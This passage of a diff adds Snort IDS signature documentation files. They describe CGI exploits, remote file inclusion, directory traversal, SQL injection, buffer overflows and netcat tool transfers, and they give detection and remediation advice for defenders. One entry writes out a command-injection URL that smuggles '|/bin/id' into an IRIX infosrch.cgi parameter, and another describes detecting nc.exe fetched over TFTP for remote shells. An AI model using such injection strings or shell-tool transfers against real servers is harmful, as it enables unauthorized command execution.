+the authors or vendor and see if there is a patch or newer version.
+
+If the application is proprietary to you or your company, ensure that it 
+properly validates input.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000748.txt
+++ snort-2.8.5.2/doc/signatures/100000748.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000748
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Plume CMS" application running on a webserver. Access to the file "rss.php" using a remote file being passed as the "_PX_config[manager_path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "_PX_config[manager_path]" parameter in the "rss.php" script used by the "Plume CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Plume CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000346.txt
+++ snort-2.8.5.2/doc/signatures/100000346.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000346
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Plume CMS" application running on a webserver. Access to the file "prepend.php" using a remote file being passed as the "_PX_config[manager_path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "_PX_config[manager_path]" parameter in the "prepend.php" script used by the "Plume CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Plume CMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2085.txt
+++ snort-2.8.5.2/doc/signatures/2085.txt
@@ -0,0 +1,85 @@
+Rule:
+
+--
+Sid:
+2085
+
+--
+Summary:
+parse_xml.cgi script on a webserver.
+
+--
+Impact:
+Arbitrary code execution, information disclosure and possible cross site
+scripting.
+
+--
+Detailed Information:
+Multiple vulnerabilities exist in Apple Quick Time Streaming Server and 
+Apple Darwin Streamin Server, such that an attacker can gain information
+on the file system as an intelligence gathering activity for an attack 
+on vulnerable services.
+
+It is also possible for an attacker to inject malicious code into the 
+log file for the server, the impact of this would be to execute the code
+when viewed by the administrator.
+
+It is also directly vulnerable to cross site scripting issues.
+
+--
+Affected Systems:
+	Apple Darwin Streaming Server 4.1.2
+	Apple Quicktime Streaming Server 4.1.1
+
+--
+Attack Scenarios:
+In the case of injecting code to the log files, the attacker would need 
+to make requests to the streaming server with the code inserted in the 
+request.
+
+The attacker can execute an attack on the file system contents using a 
+browser, the attacker needs to include a NULL byte in the request to 
+reveal the directory structure.
+
+The cross site scripting issue does not need anything specific to be 
+done.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate patches for the systems affected.
+
+Upgrade to the latest non affected versions of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/6960
+http://www.securityfocus.com/bid/6990
+http://www.securityfocus.com/bid/6955
+http://www.securityfocus.com/bid/6956
+http://www.securityfocus.com/bid/6958
+
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0054
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1241.txt
+++ snort-2.8.5.2/doc/signatures/1241.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1241
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/892.txt
+++ snort-2.8.5.2/doc/signatures/892.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+892
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/351.txt
+++ snort-2.8.5.2/doc/signatures/351.txt
@@ -0,0 +1,64 @@
+SID:
+351
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attack attempt is made against an ftp 
+server possibly running a vulnerable ftpd
+--
+
+Impact:
+Possible execution of commands on the affected server as with elevated 
+user privileges
+--
+
+Detailed Information:
+The Washington University ftp daemon (wu-ftpd) has a problem with very 
+log directory names. There is insufficent checking on directories 
+created by users allowing possible insertion of data into the stack.This
+can lead to execution of code with root / elevated user privileges.
+--
+
+Affected Systems:
+NcFTP Software NcFTPD 2.3.5
+Washington University wu-ftpd 2.4.2 (beta 18) VR10 
+RedHat wu-ftpd 2.4.2 b18-2 
+Washington University wu-ftpd 2.4.2 academ[BETA-18] 
+Probably others as well, susspect anything under Washington University wu-ftpd 2.6.0 for this particular exploit.
+--
+
+Attack Scenarios:
+A local attacker will attempt to create long named directories on the 
+ftp server wich are not checked correctly in the server code. This can 
+allow commands to be executed with elevated user privileges
+--
+
+Ease of Attack:
+simple, Exploit code exists
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Upgrade to newest version of wuftpd, or replace with something more secure.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2142.txt
+++ snort-2.8.5.2/doc/signatures/2142.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid: 2142
+
+
+--
+Summary:
+This event is generated when an attempt is made to access the php application shoutbox. 
+
+--
+Impact:
+Information gathering possible execution of arbitrary code and remote access to the host.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access the php application shoutbox. Shoutbox contains a flaw that can allow an attacker to perform a directory traversal.
+
+The attacker may be trying to gain information on the php implementation on the host, this may be the prelude to an attack against that host using that information.
+
+--
+Affected Systems:
+Any host using php.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the the host. The attacker might then gain administrator access to the host or execute arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1447.txt
+++ snort-2.8.5.2/doc/signatures/1447.txt
@@ -0,0 +1,64 @@
+Rule:
+--
+Sid:
+1447
+
+--
+Summary:
+This event is generated when a malicious packet is sent to the Microsoft Terminal Server port.
+
+--
+Impact:
+Denial of service.  Sending repeated packets may cause a denial of service by consuming all available memory resources.
+
+--
+Detailed Information:
+A flaw exists in the Microsoft Terminal Server port on certain versions of Windows that may cause a denial of service of the vulnerable host by consuming all available memory resources.  This attack requires multiple malicious packets to cause a denial of service.
+
+--
+Affected Systems:
+Microsoft Windows 2000 Advanced Server SP2
+Microsoft Windows 2000 Advanced Server SP1
+Microsoft Windows 2000 Advanced Server
+Microsoft Windows 2000 Datacenter Server SP2
+Microsoft Windows 2000 Datacenter Server SP1
+Microsoft Windows 2000 Datacenter Server
+Microsoft Windows 2000 Server SP2
+Microsoft Windows 2000 Server SP1
+Microsoft Windows 2000 Server
+Microsoft Windows NT Terminal Server 4.0
+
+--
+Attack Scenarios:
+An attacker may attempt to cause a denial of service against a vulnerable server by sending repeated malicious packets.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the patches discussed in Microsoft Security Bulletin MS01-040.
+Block access to the Microsoft Terminal Server port from outside the network.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0540
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1339.txt
+++ snort-2.8.5.2/doc/signatures/1339.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1339
+
+--
+Summary:
+Attempted chsh command access via web
+
+--
+Impact:
+Attempt to change a users shell on a webserver.
+
+--
+Detailed Information:
+This is an attempt to change a users shell on a machine. Using this
+command an attackermay change the shell of a user to suit his own
+needs. By changingthe shell an attacker may further compromise a
+machine by specifyinga shell that could contain a Trojan Horse
+component or that couldcontain embedded commands specially crafted by
+anattacker.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '/bin/chsh'
+in the URIwhich can then change the shell of a user present on the
+host.This commandmay also be requested on a command line should the
+attacker gainaccess to the machine.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside ofit's designated web root or cgi-bin.Whenever possible,
+sensitive filesand certain areas of the filesystem should have the
+system immutableflag set to negate the use of the chsh command. On BSD
+derived systems,setting the systems runtime securelevel also prevents
+the securelevelfrom being changed. (note: the securelevel can only be 
+increased)
+
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+
+man chsh
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1597.txt
+++ snort-2.8.5.2/doc/signatures/1597.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1597
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000109.txt
+++ snort-2.8.5.2/doc/signatures/100000109.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 
+100000109
+
+-- 
+Summary: 
+This event is generated when an SQL injection attempt is made against the 
+OpenBB web bulliten board system.
+
+-- 
+
+Impact: 
+Attackers may run arbitrary database commands with the privileges of the 
+affected script.
+
+--
+Detailed Information:
+This rule looks specifically for attacks against the member.php module of the 
+OpenBB program. Attackers must supply a variable whose value is numeric, 
+followed by a space, in order to exploit this vulnerability.
+
+--
+Affected Systems:
+OpenBB 1.0.5
+OpenBB 1.1.0
+
+--
+
+Attack Scenarios: 
+A web browser or a script may be used to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, as example attacks that can be used with a web browser are publicly 
+available.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Currently, no vendor-supplied patches are available. A descripton of an 
+unverified workaround is available in the Additional References section.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+http://www.securityfocus.com/archive/1/319714
+
+-- 
--- snort-2.8.5.2.orig/doc/signatures/1222.txt
+++ snort-2.8.5.2/doc/signatures/1222.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1222
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1201.txt
+++ snort-2.8.5.2/doc/signatures/1201.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+1201
+
+--
+Summary:
+This event is generated when a 403 error response code is returned to a
+client by a webserver.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event is generated when a 403 error response code is returned to a
+client by a webserver. This may indicate an attempt to gain unauthorized
+access to a web server or an application running on a web server.
+
+The 400 series error messages are used to indicate an error on the part
+of the browser client making the request to a web server. The 403
+response indicates a request for a forbidden resource that cannot be
+accessed even with authentication credentials.
+
+Many events may indicate a determined attempt to exploit a vulnerability
+on the victim server.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All web server platforms
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits for  many vulnerabilities exist although no exploit
+code may be required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/694.txt
+++ snort-2.8.5.2/doc/signatures/694.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid: 
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an SQL database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the protected network.
+
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1196.txt
+++ snort-2.8.5.2/doc/signatures/1196.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+
+Sid:
+1196
+
+--
+
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the IRIX infosrch.cgi web application.
+
+--
+Impact:
+Execution of code of the attackers choosing is possible.
+
+--
+Detailed Information:
+sgi IRIX 6.5 through 6.5.7 ships with a web application called InfoSearch
+that is vulnerable to a remote execution attack.
+
+An attacker may have abused the infosrch.cgi web application that ships
+with IRIX 6.5 to remotely execute arbitrary commands as the webserver user.
+
+--
+Affected Systems:
+	SGI IRIX 6.5 to 6.5.7
+ 
+--
+Attack Scenarios:
+An attacker uses an existing, publically known exploit script, or
+sends a simple, handcrafted URL to the webserver such as:
+http://target/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|/bin/id
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+The InfoSearch web application may legitimately be used to browse system
+documentation.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Examine the packet to determine whether malicious code was contained in
+the fname HTTP GET variable, such as unix shell commands.  If it looks
+like it may have been malicious code, determine whether the targetted
+web server was running a vulnerable version of IRIX.
+
+Upgrade to the latest non-affected version of the product.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1723.txt
+++ snort-2.8.5.2/doc/signatures/1723.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1723
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1692.txt
+++ snort-2.8.5.2/doc/signatures/1692.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1692
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3296.txt
+++ snort-2.8.5.2/doc/signatures/3296.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3296
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1429.txt
+++ snort-2.8.5.2/doc/signatures/1429.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1429
+
+--
+Summary:
+This event is generated when network traffic indicating the use of an
+application or service that may violate a corporate security policy.
+
+--
+Impact:
+This may be a violation of corporate policy since some applications can
+be used to bypass security measures designed to restrict the flow of
+corporate information to destinations external to the corporation. In
+some instances this event may indicate behavior contrary to best
+security practices.
+
+--
+Detailed Information:
+This event may indicate a violation of corporate policy. It may also
+indicate the use of services or applications that may be the antithesis
+of best security practices.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios:
+Violation of corporate security policy can manifest serious risk to
+company assets.
+
+--
+Ease of Attack:
+Not applicable
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure adherence to best security practices and strict adherence to
+corporate policy
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1441.txt
+++ snort-2.8.5.2/doc/signatures/1441.txt
@@ -0,0 +1,49 @@
+Rule:
+
+Sid:
+1441
+
+Summary:
+This event is generated when a TFTP GET request is made for "nc.exe".  This could be an indication that a remote attacker has compromised a Windows based system and is attempting to move attack tools onto the system.
+
+Impact:
+In normal situations this is a good indication that the host transmitting the request has been compromised by a remote attacker.  If the request was successful it is a clear indication that the host is now under the control of a remote attacker.  Once "nc.exe" is executed on the compromised system a remote attacker will be able to run arbitrary commands with the privilege level of the user that exected "nc.exe"
+
+Detailed Information:
+NetCat (nc.exe) is a widely used Unix and Windows utility that reads and writes data across network connections.  It can be used to redirect an application's input and output across a network and allows remote attackers an easy way to move rootkits and other tools onto a compromised system.  
+
+Currently this rule searches for "nc.exe" in TFTP GET requests.  Many times this rule will detect the first stages of a remote compromise attempt, as many attackers use NetCat to gain a command prompt on Windows based systems.
+
+Affected Systems
+Windows 95
+Windows 98
+Windows NT
+Windows 2000
+
+Attack Scenarios:
+Remote attackers use "nc.exe" to gain a command prompt "cmd.exe" on Windows based systems.  This allows for easy manipulation of the underlying file system, and also creates a simple attack vector for uploading rootkits and tools.
+
+Ease of Attack:
